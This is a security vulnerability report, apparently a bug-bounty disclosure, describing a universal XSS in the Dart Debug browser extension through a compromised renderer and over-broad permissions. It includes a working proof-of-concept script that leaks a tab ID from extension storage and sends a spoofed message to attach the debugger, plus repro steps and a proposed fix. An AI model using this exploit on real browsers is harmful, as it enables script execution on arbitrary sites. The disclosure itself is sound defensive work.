Dart Debug Extension UXSS via a compromised renderer

[NDevTK]

Attack 1: An attacker controlled website can gain access to the powerful extension debugger API that allows for a UXSS without user approval by abusing a compromised renderer. (This is a site isolation issue see https://microsoftedge.github.io/edgevr/posts/deep-dive-into-site-isolation-part-2/#abusing-extensions-to-bypass-site-isolation or https://ndevtk.github.io/writeups/2023/08/18/extensions/)
Attack 2: Its not clear clicking the extension icon may give a remote server permission to all websites not just the trusted localhost debug server over a secure connection. (WAI?)

Repo steps:

• Go to attacker page.
• Click the extension icon (Attack 2) or run the provided code as the content script context (Attack 1).

chrome.storage.local.get(null, e => {

// Leak current TabId
for (let item in e) {
// appId is set by the attacker website
 if (!e[item].includes(appId.innerText)) continue
 tabId = item.split('-')[0];
}

// No idea
attach = '[\"DebugStateChange\",\"tabId\",'+ tabId + ',\"newState\",\"start-debugging\"]';

chrome.runtime.sendMessage(JSON.stringify({
 to: 'background',
 from: 'debuggerPanel',
 type: 'debugStateChange',
 body: attach
}));
});

• Wait small amount of time for alert on www.google.com

This could be fixed by checking MessageSender.origin comes from the extension origin before attaching the debugger as compromised renderers shouldn’t be able to spoof the MessageSender.url, nor MessageSender.origin as seen by a recipient of a chrome.runtime.sendMessage. See also MessageSender documentation and content script security guidance. https://chromium.googlesource.com/chromium/src/+/master/docs/security/compromised-renderers.md#Messaging